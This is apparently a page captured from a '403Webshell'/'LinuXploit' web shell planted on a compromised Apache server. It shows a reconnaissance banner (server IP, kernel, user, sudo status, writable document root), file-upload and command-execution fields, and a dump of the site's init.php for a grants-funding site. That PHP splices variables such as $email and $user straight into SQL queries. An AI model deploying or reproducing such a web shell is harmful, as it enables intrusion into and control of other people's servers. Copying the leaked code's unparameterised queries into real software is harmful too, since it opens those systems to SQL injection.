403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/americasgotfunding.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/americasgotfunding.com/init.php
<?
/*
	---------------------------------------------------------------------------------------
	USER PREFERENCES ======================================================================
---------------------------------------------------------------------------------------
 */
setlocale(LC_MONETARY, 'en_US.UTF-8');

$user = (!empty($user)) ? (int) $user : 0;
$siteCode = clean($siteCode);
$siteCategory = (!empty($siteCategory)) ? (int) $siteCategory : 0;
if($user > 0 && empty($guest))
{
	$lastLogin = $db->query("
								SELECT
										signindate
								FROM $userDB.lc_logins
								WHERE
									email = '$email'
								ORDER BY signindate DESC
								LIMIT 1
							");
	$lastLogin = $lastLogin[0];
	if(count($lastLogin) > 0)
	{
		$lastLogin['signindate'] = date("D. F d, Y", strtotime($lastLogin['signindate']));
	}
	else
	{
		$lastLogin['signindate'] = "";
	}
	$userPreferences = $db->query("
										SELECT
												*
										FROM $userDB.lc_preferences
										WHERE
											user = '$user'
									");
	//-------------------------------------------------------------------
	// BUILD/CAPTURE PREFERENCES RECORD =================================
	//-------------------------------------------------------------------
	if(count($userPreferences) == 0)
	{
		$db->query("
						INSERT INTO $userDB.lc_preferences
						SET
							user = '$user',
							search_results = '20',
							site_category = '$siteCategory',
							site_code = '$siteCode',
							funding_goal = '".$userData['money_end']."',
							ip_address1 = '".$_SERVER['REMOTE_ADDR']."',
							datetime_added = NOW()
					");
	}
	else
	{
		$userPreferences = $userPreferences[0];
		$searchResultsCount = $userPreferences['search_results'];
		if($userPreferences['ip_address1'] != $_SERVER['REMOTE_ADDR'] &&
			empty($userPreferences['ip_address2']))
		{
			$db->query("
							UPDATE $userDB.lc_preferences
							SET
								ip_address2 = '".$_SERVER['REMOTE_ADDR']."',
								site_category = '$siteCategory'
							WHERE
								user = '$user'
								AND
								site_code = '$siteCode'
						");
		}
		$slectedCourseId = 8;
		if(!empty($userPreferences['selected_course']))
		{
			$selectedCourseData = $db->query("
												SELECT
														*
												FROM grdb.grd_categories
												WHERE
													slug = '".clean($userPreferences['selected_course'])."'
											");
			$userPreferences['course_title'] = $selectedCourseData[0]['display_name'];
			$userPreferences['course_icon'] = $selectedCourseData[0]['icon'];
			$slectedCourseId = $selectedCourseData[0]['categories_id'];
		}
	}

	//-------------------------------------------------------------------
	// USER FUNDING =====================================================
	//-------------------------------------------------------------------
	$userPreferences['funding_goals'] = $userPreferences['funding_goal'];
	$grantsAppliedFor = $db->query("
										SELECT
												SUM(gga.how_much_applied_for) AS amount
										FROM grdb.grd_grants_applied AS gga
										LEFT JOIN grdb.grd_grants AS gg
											ON gg.grants_id = gga.grants_id
										WHERE
												gga.user = '$user'
											AND
												gga.site_code = '$siteCode'
											AND
												gga.did_apply = 'yes'
									");
	if($grantsAppliedFor[0]['amount'] > 0)
	{
		$userPreferences['grants_applied_total'] = $grantsAppliedFor[0]['amount'];
	}
	else
	{
		$userPreferences['grants_applied_total'] = 0.001;
	}

	// STEP HELP PROCEDURE
	// tutorial block does not work on steps
	// FIVE STEPS
	include($_SERVER['DOCUMENT_ROOT']."/vx/usa/lib/myAlerts.php");
	//include($_SERVER['DOCUMENT_ROOT']."/vx/usa/functions/5stepsStatus.php");

	if((!empty($onSearch) || !empty($onAlerts) || empty($fiveStepsComplete)) && !empty($onMembers))
	{
		$selectedSubCategories = (!empty($_POST['postSubCategories'])) ? $_POST['postSubCategories'] : array();
		$alertCategories = array();
		$mainCategories = $db->query("
											SELECT
													*
											FROM grdb.grd_categories
											ORDER BY priority ASC
										");
		for($i=0; $i<count($mainCategories); $i++)
		{
			$mainCategories[$i]['alert_type_cat'] = "category";
			$mainCategories[$i]['id'] = $mainCategories[$i]['categories_id'];
		}
		$alertCategories['categories'] = $mainCategories;


		if(!empty($_SESSION['selectedCategory']))
		{
			$subCategoriesQuery = "
										SELECT
												gs.subcategories_id,
												gs.name
										FROM grdb.grd_sub_categories AS gsc

										INNER JOIN grdb.grd_subcategories AS gs
											ON gs.subcategories_id = gsc.subcategory

										INNER JOIN grdb.grd_categories AS gc
											ON gc.categories_id = gsc.category

										WHERE
												gc.slug = '".clean($_SESSION['selectedCategory'])."'

										GROUP BY gs.subcategories_id

										ORDER BY gs.name ASC

										LIMIT 24
									";
		}
		else
		{
			$subCategoriesQuery = "
										SELECT
												gs.subcategories_id,
												gs.name
										FROM grdb.grd_subcategories AS gs

										INNER JOIN grdb.grd_grants_subcategories AS ggs
											ON ggs.subcategories_id = gs.subcategories_id

										INNER JOIN grdb.grd_trending AS gt
											ON gt.grants_id = ggs.grants_id

										GROUP BY gs.subcategories_id

										ORDER BY gs.name ASC

										LIMIT 24
									";
		}

		$subCategories = $db->query($subCategoriesQuery);

		for($i=0; $i<count($subCategories); $i++)
		{
			$subCategories[$i]['alert_type_cat'] = "subcategory";
			$subCategories[$i]['id'] = $subCategories[$i]['subcategories_id'];
			foreach($selectedSubCategories as $key => $value)
			{
				if($value == $subCategories[$i]['subcategories_id'])
				{
					$subCategories[$i]['selected'] = true;
				}
			}
		}

		$alertCategories['sub_categories'] = $subCategories;

		$indCategories = $db->query("
											SELECT
													*
											FROM grdb.grd_industries
											ORDER BY priority ASC
										");
		for($i=0; $i<count($indCategories); $i++)
		{
			$indCategories[$i]['alert_type_cat'] = "industry";
			$indCategories[$i]['id'] = $indCategories[$i]['industries_id'];
			foreach($selectedSubCategories as $key => $value)
			{
				if($value == $indCategories[$i]['subcategories_id'])
				{
					$indCategories[$i]['selected'] = true;
				}
			}
		}
		$alertCategories['industries'] = $indCategories;
		$minCategories = $db->query("
											SELECT
													*
											FROM grdb.grd_minorities
											ORDER BY priority ASC
										");
		for($i=0; $i<count($minCategories); $i++)
		{
			$minCategories[$i]['alert_type_cat'] = "minority";
			$minCategories[$i]['id'] = $minCategories[$i]['minorities_id'];
			foreach($selectedSubCategories as $key => $value)
			{
				if($value == $minCategories[$i]['subcategories_id'])
				{
					$minCategories[$i]['selected'] = true;
				}
			}
		}
		$alertCategories['minorities'] = $minCategories;
	}

	// TUTORIAL
	// To turn off the tutorial, set $tutorialStep to 99 for steps 0,1,2,3
	$tutorialStep = 0;

	if($userPreferences['notification0'] == 'no' && $tutorialStep < 98)
	{
		$tutorialStep = 1;
	}
	if($userPreferences['notification1'] == 'no' && $tutorialStep < 98)
	{
		$tutorialStep = 4;
	}
	if($userPreferences['notification2'] == 'no' && $tutorialStep < 98)
	{
		$tutorialStep = 7;
	}
	if($userPreferences['notification3'] == 'no' && $tutorialStep < 98)
	{
		$tutorialStep = 99;
	}
	// HELP
	// tutorial block does not work for help
	$keywordHelp = false;
	if($userPreferences['notification10'] == 'no')
	{
		$keywordHelp = true;
	}
	$searchHelp = false;
	if($userPreferences['notification9'] == 'no')
	{
		$searchHelp = true;
	}

	$clientSubscriptions = $db->query("
										SELECT
												*
										FROM $userDB.lc_clients_subscriptions
										WHERE
											reseller_id = '$user'
										");
	$teleSeminarSubscription = false;
	$monthlySubscription = false;
	$userPreferences['teleSeminars'] = false;
	$userPreferences['monthlySubscription'] = false;
	for($i=0; $i<count($clientSubscriptions); $i++)
	{
		if(($clientSubscriptions[$i]['subscription_id'] == 2 || $clientSubscriptions[$i]['subscription_id'] == 3) && !$monthlySubscription)
		{
			$userPreferences['monthlySubscription'] = true;
			$monthlySubscription = true;
		}
	}
	
	$clientRes = $db->query("SELECT visited_professional_services_page
							FROM $userDB.lc_reseller
							WHERE
								id = '$user'");
	$_SESSION['visited_professional_services'] = '0';
	if(!empty($clientRes)) {
		if($clientRes[0]['visited_professional_services_page']!=0) {
			$_SESSION['visited_professional_services'] = '1';
		}
	}
	
	$clientRes = $db->query("SELECT id
							FROM grdb.givesback_page_has_visited
							WHERE
								site_code='".$db->clean($siteCode)."'
								AND client_id = '".$db->clean($user)."'");
	$_SESSION['visited_givesback'] = '0';
	if(!empty($clientRes)) {
		$_SESSION['visited_givesback'] = '1';
	}
}
/*
	---------------------------------------------------------------------------------------
	USER COURSE DATA ======================================================================
	---------------------------------------------------------------------------------------
*/
	if($onLearning)
	{
		if($onRealEstateCourse)
		{
			$courseCategory = 2;
		}
		else if($onBusinessCourse)
		{
			$courseCategory = 8;
		}
		else if($onHomeBuyerCourse)
		{
			$courseCategory = 11;
		}
		else if($onPersonalCourse)
		{
			$courseCategory = 12;
		}
		else if($onEducationCourse)
		{
			$courseCategory = 15;
		}
		else
		{
			$courseCategory = $slectedCourseId;
		}
		if($courseCategory > 0 && $user > 0)
		{
			$courses = $db->query("
										SELECT
												gc.priority,
												gc.display_name,
												gc.name,
												gc.slug,
												gc.icon,
												gtc.category,
												gt.user
										FROM grdb.grd_training_courses AS gtc
										LEFT JOIN grdb.grd_categories AS gc
											ON gtc.category = gc.categories_id
										LEFT JOIN grdb.grd_training_complete AS gt
											ON
												gt.course = gtc.course
												AND
												gt.user = '$user'
										WHERE
											gtc.status = 'active'
										ORDER BY gc.priority ASC, gtc.category ASC
									");
			$coursesStats = array();
			$trainingAdded = array();
			for($i=0; $i<count($courses); $i++)
			{
				if(!in_array($courses[$i]['category'], $trainingAdded))
				{
					$trainingAdded[] = $courses[$i]['category'];
					$sectionCount = 1;
					$sectionsComplete = 0;
					if($courses[$i]['user'] > 0)
					{
						$sectionsComplete = 1;
					}
				}
				else
				{
					$sectionCount++;
					if($courses[$i]['user'] > 0)
					{
						$sectionsComplete++;
					}
				}
				$coursesStats[$courses[$i]['name']]['name'] = $courses[$i]['name'];
				$coursesStats[$courses[$i]['name']]['display_name'] = $courses[$i]['display_name'];
				$coursesStats[$courses[$i]['name']]['priority'] = $courses[$i]['priority'];
				$coursesStats[$courses[$i]['name']]['slug'] = $courses[$i]['slug'];
				$coursesStats[$courses[$i]['name']]['icon'] = $courses[$i]['icon'];
				$coursesStats[$courses[$i]['name']]['sections'] = $sectionCount;
				$coursesStats[$courses[$i]['name']]['completed'] = $sectionsComplete;
			}
			foreach($coursesStats as $key => $value)
			{
				$coursePercentage = round(((100 / $value['sections']) * $value['completed']));
				$coursesStats[$key]['percentage'] = $coursePercentage;
				if($coursePercentage > 0 && $coursePercentage < 100)
				{
					$coursesStats[$key]['gaugeLargeClass'] = "GaugeArchProgressLarge";
				}
				else if($coursePercentage >= 100)
				{
					$coursesStats[$key]['gaugeLargeClass'] = "GaugeArchCompleteLarge";
				}
				else
				{
					$coursesStats[$key]['gaugeLargeClass'] = "GaugeArchStartLarge";
				}
				$coursesStats[$key]['angle'] = round( ((180 / 100) * $coursePercentage) );
			}
			$courses = $db->query("
										SELECT
												gtc.*,
												gt.user
										FROM grdb.grd_training_courses AS gtc
										LEFT JOIN grdb.grd_training_complete AS gt
											ON
												gt.course = gtc.course
												AND
												gt.user = '$user'
										WHERE
											gtc.status = 'active'
											AND
											gtc.category = '$courseCategory'
										ORDER BY gtc.priority ASC
									");
			$coursesCount = count($courses);
			$coursesComplete = 0;
			for($i=0; $i<count($courses); $i++)
			{
				if($courses[$i]['user'] > 0)
				{
					$coursesComplete++;
				}
			}
			if($onLearning)
			{
				$courseSections = array();
				$completedSubSections = array();
				for($i=0; $i<count($courses); $i++)
				{
					if($courses[$i]['sub_section'] > 0)
					{
						$courseSections[$courses[$i]['section']]['sub'][] = array(
																					"course" => $courses[$i]['course'],
																					"section" => $courses[$i]['section'].".".$courses[$i]['sub_section'],
																					"key" => $courses[$i]['section'],
																					"complete" => $courses[$i]['user'],
																					"title" => $courses[$i]['title'],
																					"isSub" => true,
																					"sub" => array()
																					);
						if(!in_array($courses[$i]['section'].".".$courses[$i]['sub_section'], $completedSubSections) && $courses[$i]['user'] > 0)
						{
							$completedSubSections[] = $courses[$i]['section'].".".$courses[$i]['sub_section'];
						}
						$inSub = true;
					}
					else
					{
						$courseSections[$courses[$i]['section']] = array(
																			"course" => $courses[$i]['course'],
																			"section" => $courses[$i]['section'],
																			"key" => $courses[$i]['section'],
																			"complete" => $courses[$i]['user'],
																			"allComplete" => false,
																			"title" => $courses[$i]['title'],
																			"isSub" => false,
																			"sub" => array()
																		);
						if($inSub)
						{
							if(count($completedSubSections) == count($courseSections[$courses[($i-1)]['section']]['sub']) && $courses[($i-1)]['user'] > 0)
							{
								$courseSections[$courses[($i-1)]['section']]['allComplete'] = true;
							}
							$inSub = false;
							$completedSubSections = array();
						}
					}
				}
			}
		}
	}
// END COURSE DATA ========================================================================

/*
	---------------------------------------------------------------------------------------
	SITE WIDE GRANT LIST/DATA =============================================================
	---------------------------------------------------------------------------------------
*/
	$grantsCount = $db->query("
								SELECT
										COUNT(DISTINCT gg.grants_id) AS count
								FROM grdb.grd_grants_categories AS ggc

								LEFT JOIN grdb.grd_grants AS gg
									ON gg.grants_id = ggc.grants_id

								LEFT JOIN grdb.grd_categories AS gcat
									ON gcat.categories_id = ggc.categories_id

								WHERE
									(
											gg.deadline >= NOW()
										OR
											gg.deadline = '0000-00-00'
									)
									AND
										gg.name <> ''
									AND
										gg.name IS NOT NULL
								ORDER BY gg.deadline ASC, gg.amount DESC
							");
	$grantCount = $grantsCount[0]['count'];
	$grantCount = $grantCount - ($grantCount % 1000);
	$_SESSION['grantsCount'] = $grantCount;

	if(!empty($_SESSION['selectedCategory']))
	{
		$grantsCountCategory = "
									AND
										gcat.slug = '".clean($_SESSION['selectedCategory'])."'
								";
	} else {
		$grantsCountCategory = '';
	}
	$catGrantsCount = $db->query("
								SELECT
										COUNT(DISTINCT gg.grants_id) AS count
								FROM grdb.grd_grants_categories AS ggc

								LEFT JOIN grdb.grd_grants AS gg
									ON gg.grants_id = ggc.grants_id

								LEFT JOIN grdb.grd_categories AS gcat
									ON gcat.categories_id = ggc.categories_id

								WHERE
									(
											gg.deadline >= NOW()
										OR
											gg.deadline = '0000-00-00'
									)
									AND
										gg.name <> ''
									AND
										gg.name IS NOT NULL

									$grantsCountCategory

								ORDER BY gg.deadline ASC, gg.amount DESC
							");
	$categoryGrantCount = (!empty($catGrantsCount)) ? $catGrantsCount[0]['count'] : 0;
	$categoryGrantCount = $categoryGrantCount - ($categoryGrantCount % 1000);
	$_SESSION['categoryGrantCount'] = $categoryGrantCount;



	$feedbackTree = $db->query("
									SELECT
											*
									FROM grdb.grd_feedback_tree
									WHERE
											status = 'active'
										AND
											(
												site_code = '$siteCode'
												OR
												all_sites = 1
											)
										AND
											published IS NOT NULL
									ORDER BY priority ASC
								");
	$feedback = array();
	for($i=0; $i<count($feedbackTree); $i++)
	{
		if($feedbackTree[$i]['parent'] == 0)
		{
			$feedback[] = array(
								"question"=>($feedbackTree[$i]['question'] * 1),
								"title"=>$feedbackTree[$i]['title'],
								"options"=>array()
								);
		}
	}
	for($i=0; $i<count($feedbackTree); $i++)
	{
		for($x=0; $x<count($feedback); $x++)
		{
			if($feedbackTree[$i]['parent'] == $feedback[$x]['question'])
			{
				$feedback[$x]["options"][] = $feedbackTree[$i];
			}
		}
	}

	$states = $db->query(" SELECT * FROM geo.states WHERE conus = 'yes' ");

// SITE WIDE GRANT LIST/DATA ==============================================================

	$selectedCategory = (!empty($_SESSION['selectedCategory'])) ? $_SESSION['selectedCategory'] : '';
	$selectedIcon = (!empty($_SESSION['selectedIcon'])) ? $_SESSION['selectedIcon'] : '';
	$selectedName = (!empty($_SESSION['selectedName'])) ? $_SESSION['selectedName'] : '';


	$svg = array();

	$categoryBoard = $db->query("SELECT * FROM grdb.bread_crumbs WHERE active='1' AND parent_id=0 ORDER BY sort_order ASC");
	$categoryBoardCount = count($categoryBoard);
	for($i=0; $i<$categoryBoardCount; $i++)
	{
		/*$query = "SELECT COUNT(*) as s
			FROM grdb.grd_grants g
				WHERE (g.deadline='0000-00-00' OR g.deadline>=CURDATE())";
		if(!empty($categoryBoard[$i]['categories_id'])) {
			$query .= "AND g.grants_id IN (
					SELECT grants_id
					FROM grdb.grd_grants_categories gc
					WHERE gc.categories_id = '".clean($categoryBoard[$i]['categories_id'])."'
				)";
		}
		if(!empty($categoryBoard[$i]['subcategories_id'])) {
			$query .= "AND g.grants_id IN (
					SELECT grants_id
					FROM grdb.grd_grants_subcategories gsc
					WHERE gsc.subcategories_id = '".clean($categoryBoard[$i]['subcategories_id'])."'
				)";
		}
		if(!empty($categoryBoard[$i]['minorities_id'])) {
			$query .= "AND g.grants_id IN (
					SELECT grants_id
					FROM grdb.grd_grants_minorities gm
					WHERE gm.minorities_id = '".clean($categoryBoard[$i]['minorities_id'])."'
				)";
		}
		if(!empty($categoryBoard[$i]['industries_id'])) {
			$query .= "AND g.grants_id IN (
					SELECT grants_id
					FROM grdb.grd_grants_industries gi
					WHERE gm.industries_id = '".clean($categoryBoard[$i]['industries_id'])."'
				)";
		}*/
		if(!empty($newest_apps_only)) {
			$newest_apps_where = " AND DATE(g.ts) >= '".date('Y-m-d',strtotime('-30 day'))."'";
			$categoryBoard[$i]['has_state_filter'] = '0';
		} else {
			$newest_apps_where = " AND DATE(g.ts) <= '".date('Y-m-d',strtotime('-30 day'))."'";
		}
		$query = "SELECT COUNT(*) as s
					FROM grdb.bread_crumbs_grants bg
					LEFT JOIN grdb.grd_grants g ON g.grants_id=bg.grants_id
					WHERE bg.bread_crumbs_id='".clean($categoryBoard[$i]['id'])."'
					AND (g.deadline='0000-00-00' OR g.deadline>=CURDATE()) {$newest_apps_where}";
		$categoryGrants = $db->query($query);
		$categoryBoard[$i]['count'] = $categoryGrants[0]['s'];
		//$categoryBoard[$i]['query'] = $query;
		$categoryBoard[$i]['icon'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/vx/svgs/".$categoryBoard[$i]['icon'].".svg");
		//get subcategories
		$subCrumbs = $db->query("SELECT * FROM grdb.bread_crumbs WHERE active='1' AND parent_id='".clean($categoryBoard[$i]['id'])."' ORDER BY sort_order ASC");
		foreach($subCrumbs as $k=>$v) {
			/*$query = "SELECT COUNT(*) as s
				FROM grdb.grd_grants g
					WHERE (g.deadline='0000-00-00' OR g.deadline>=CURDATE())";
			if(!empty($v['categories_id'])) {
				$query .= "AND g.grants_id IN (
						SELECT grants_id
						FROM grdb.grd_grants_categories gc
						WHERE gc.categories_id = '".clean($v['categories_id'])."'
					)";
			}
			if(!empty($v['subcategories_id'])) {
				$query .= "AND g.grants_id IN (
						SELECT grants_id
						FROM grdb.grd_grants_subcategories gsc
						WHERE gsc.subcategories_id = '".clean($v['subcategories_id'])."'
					)";
			}
			if(!empty($v['minorities_id'])) {
				$query .= "AND g.grants_id IN (
						SELECT grants_id
						FROM grdb.grd_grants_minorities gm
						WHERE gm.minorities_id = '".clean($v['minorities_id'])."'
					)";
			}
			if(!empty($v['industries_id'])) {
				$query .= "AND g.grants_id IN (
						SELECT grants_id
						FROM grdb.grd_grants_industries gi
						WHERE gm.industries_id = '".clean($v['industries_id'])."'
					)";
			}*/
			$query = "SELECT COUNT(*) as s
					FROM grdb.bread_crumbs_grants bg
					LEFT JOIN grdb.grd_grants g ON g.grants_id=bg.grants_id
					WHERE bg.bread_crumbs_id='".clean($v['id'])."'
					AND (g.deadline='0000-00-00' OR g.deadline>=CURDATE()) {$newest_apps_where}";
			$subCategoryGrants = $db->query($query);
			if(!empty($newest_apps_only)) {
				$subCrumbs[$k]['has_state_filter'] = 0;
			}
			$subCrumbs[$k]['icon'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/vx/svgs/".$v['icon'].".svg");
			$subCrumbs[$k]['count'] = $subCategoryGrants[0]['s'];
			//$subCrumbs[$k]['query'] = $query;
			//get sub-subcategories
			$subSubCrumbs = $db->query("SELECT * FROM grdb.bread_crumbs WHERE active='1' AND parent_id='".clean($v['id'])."' ORDER BY sort_order ASC");
			foreach($subSubCrumbs as $sk=>$sv) {
				/*$query = "SELECT COUNT(*) as s
					FROM grdb.grd_grants g
						WHERE (g.deadline='0000-00-00' OR g.deadline>=CURDATE())";
				if(!empty($sv['categories_id'])) {
					$query .= "AND g.grants_id IN (
							SELECT grants_id
							FROM grdb.grd_grants_categories gc
							WHERE gc.categories_id = '".clean($sv['categories_id'])."'
						)";
				}
				if(!empty($sv['subcategories_id'])) {
					$query .= "AND g.grants_id IN (
							SELECT grants_id
							FROM grdb.grd_grants_subcategories gsc
							WHERE gsc.subcategories_id = '".clean($sv['subcategories_id'])."'
						)";
				}
				if(!empty($sv['minorities_id'])) {
					$query .= "AND g.grants_id IN (
							SELECT grants_id
							FROM grdb.grd_grants_minorities gm
							WHERE gm.minorities_id = '".clean($sv['minorities_id'])."'
						)";
				}
				if(!empty($sv['industries_id'])) {
					$query .= "AND g.grants_id IN (
							SELECT grants_id
							FROM grdb.grd_grants_industries gi
							WHERE gm.industries_id = '".clean($sv['industries_id'])."'
						)";
				}*/
				$query = "SELECT COUNT(*) as s
					FROM grdb.bread_crumbs_grants bg
					LEFT JOIN grdb.grd_grants g ON g.grants_id=bg.grants_id
					WHERE bg.bread_crumbs_id='".clean($sv['id'])."'
					AND (g.deadline='0000-00-00' OR g.deadline>=CURDATE()) {$newest_apps_where}";
				$subSubCategoryGrants = $db->query($query);
				if(!empty($newest_apps_only)) {
					$subSubCrumbs[$sk]['has_state_filter'] = 0;
				}
				$subSubCrumbs[$sk]['icon'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/vx/svgs/".$sv['icon'].".svg");
				$subSubCrumbs[$sk]['count'] = $subSubCategoryGrants[0]['s'];
				//$subSubCrumbs[$sk]['query'] = $query;
			}
			$subCrumbs[$k]['sub_crumbs'] = $subSubCrumbs;
		}
		$categoryBoard[$i]['sub_crumbs'] = $subCrumbs;
	}


	$countryMap = file_get_contents($_SERVER['DOCUMENT_ROOT']."/vx/svgs/country_map.svg");
	$stateFilterIcon = file_get_contents($_SERVER['DOCUMENT_ROOT']."/vx/svgs/states.svg");
	$oopsIcon = file_get_contents($_SERVER['DOCUMENT_ROOT']."/vx/svgs/oops.svg");
	
	$grants_found_in_the_last_30_days = 0;
	$res = $db->query("SELECT COUNT(*) as c
						FROM grdb.grd_grants
						WHERE DATE(ts) >= '".date('Y-m-d',strtotime('-30 day'))."'");
	$grants_found_in_the_last_30_days = $res[0]['c'];
	/*
		// categories
		$svg['business_funding'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/business_funding.svg");
		$svg['real_estate'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/real_estate.svg");
		$svg['medical_assistance'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/medical_assistance.svg");
		$svg['first_time_home_buyer'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/first_time_home_buyer.svg");
		$svg['personal_assistance'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/personal_assistance.svg");
		$svg['inventions'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/inventions.svg");
		$svg['home_repairs'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/home_repairs.svg");
		$svg['tuition_education'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/tuition_education.svg");
		$svg['non_profit'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/non_profit.svg");
		$svg['rent_assistance'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/rent_assistance.svg");
		$svg['utility'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/utility.svg");

		// subcategories
		$svg['bill_assistance'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/bill_assistance.svg");
		$svg['childcare'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/childcare.svg");
		$svg['community'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/community.svg");
		$svg['disability'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/disability.svg");
		$svg['disaster_relief'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/disaster_relief.svg");
		$svg['faith_based'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/faith_based.svg");
		$svg['food'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/food.svg");
		$svg['healthcare'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/healthcare.svg");
		$svg['homeless'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/homeless.svg");
		$svg['housing'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/housing.svg");
		$svg['insurance'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/insurance.svg");
		$svg['research'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/research.svg");
		$svg['scholarships'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/scholarships.svg");
		$svg['transportation'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/transportation.svg");
		$svg['unemployment'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/unemployment.svg");
		$svg['veteran'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/veteran.svg");

		// unknowns
		$svg['burial_costs'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/burial_costs.svg");
		$svg['car_assistance'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/car_assistance.svg");
		$svg['clothing'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/clothing.svg");
		$svg['green_card_holder'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/green_card_holder.svg");
		$svg['low_income'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/low_income.svg");
		$svg['natural_disaster'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/natural_disaster.svg");
		$svg['other_assistance'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/other_assistance.svg");
		$svg['permenant_resident'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/permenant_resident.svg");
		$svg['religion'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/religion.svg");
		$svg['resident_alien'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/resident_alien.svg");
		$svg['shelter'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/shelter.svg");
		$svg['us_citizen'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/us_citizen.svg");

		$svg['male'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/male.svg");
		$svg['female'] = file_get_contents($_SERVER['DOCUMENT_ROOT']."/images/svg/female.svg");
	*/
?>

Youez - 2016 - github.com/yon3zu
LinuXploit